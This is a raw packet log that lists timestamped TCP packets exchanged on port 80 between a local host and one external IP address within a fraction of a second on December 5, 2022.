Dec 5, 2022 06:44:31.334393978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334403992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334429026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334429979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334451914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334458113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334482908 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334485054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334506989 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334512949 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334537983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334537983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334561110 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334563971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334583998 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334589005 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334611893 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334618092 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334633112 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334642887 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334669113 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334670067 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334686995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334696054 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334721088 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334722996 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334743023 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334750891 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334774971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334777117 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334794998 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334799051 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334826946 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334829092 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334850073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334851980 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334873915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334873915 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334913969 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334923983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334939003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334954023 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334963083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334980011 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.334990978 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.334997892 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335017920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335033894 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335041046 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335051060 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335066080 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335067034 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335092068 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335105896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335105896 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335118055 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335134983 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335143089 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335170031 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335175991 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335194111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335196972 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335212946 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335222006 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335247993 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335253000 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335272074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335274935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335294008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335303068 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335325956 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335328102 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335346937 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335351944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335371017 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335380077 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335406065 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335406065 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335424900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335434914 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335459948 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335462093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335483074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335489035 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335510015 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335515976 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335535049 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335542917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335562944 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335570097 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335588932 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335597992 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335623980 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335623026 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335642099 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335650921 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335674047 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335678101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335696936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335702896 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335724115 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335727930 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335746050 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335751057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335774899 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335783005 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335798979 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335802078 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335819006 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335825920 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335851908 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335854053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335869074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335880041 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335901976 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335906982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335927010 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335935116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335958004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335962057 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.335979939 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.335985899 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336010933 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336010933 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336034060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336034060 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336052895 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336059093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336083889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336092949 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336112022 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336119890 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336146116 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336148977 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336167097 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336170912 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336189032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336193085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336216927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336225033 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336242914 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336245060 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336260080 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336268902 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336292982 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336292982 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336316109 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336316109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336338997 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336340904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336360931 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336366892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336383104 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336390972 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336416960 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336417913 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336435080 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336441994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336464882 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336471081 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336488008 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336489916 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336510897 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336514950 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336541891 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336543083 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336564064 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336585999 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336590052 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336610079 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336610079 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336616039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336639881 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336642981 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336664915 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336684942 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336684942 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336688995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336726904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336734056 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336751938 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336771965 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336777925 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336793900 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336805105 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336812973 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336831093 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336853027 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336854935 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336869955 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336879015 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336894035 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336894035 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336905003 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336921930 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336931944 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336956978 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336958885 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.336992979 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.336997032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337023973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337030888 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337050915 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337052107 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337079048 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337085962 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337105036 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337105036 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337138891 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337140083 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337165117 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337167025 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337191105 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337192059 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337212086 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337218046 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337240934 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337244987 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337268114 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337268114 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337291956 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337295055 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337312937 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337316990 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337341070 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337346077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337363958 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337383032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337383032 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337388039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337410927 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337414026 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337438107 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337440968 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337460995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337466002 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337487936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337491989 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337508917 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337548971 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337569952 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337574959 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337589979 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337598085 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337620020 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337621927 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337639093 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337646961 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337671995 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337671995 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337687969 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337697983 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337723970 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337723970 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337744951 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337758064 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337769032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337776899 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337793112 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337794065 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337820053 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337824106 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337842941 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337846994 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337867022 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.337869883 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337898016 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.337917089 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357147932 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357192039 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357219934 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357247114 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357275009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357300997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357328892 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357356071 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357371092 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357372046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357372046 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357383013 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357408047 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357435942 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357444048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357444048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357459068 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357472897 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357486010 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357489109 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357511997 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357542038 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357585907 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357603073 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357631922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357655048 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357659101 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357672930 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357682943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357712030 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357711077 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357729912 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357738018 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357749939 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357760906 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357783079 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357789040 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.357800961 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.357855082 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358228922 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358258009 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358283043 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358285904 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358300924 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358315945 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358333111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358345032 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358354092 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358371973 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358390093 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358400106 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358411074 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358428955 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358449936 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358454943 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358468056 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358483076 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358500004 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358515024 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358541965 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358544111 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358566999 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358568907 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358597994 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358609915 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358609915 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358625889 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358639002 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358656883 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358671904 CET	49703	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:31.358681917 CET	80	49703	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:31.358709097 CET	80	49703	66.235.200.147	192.168.2.3
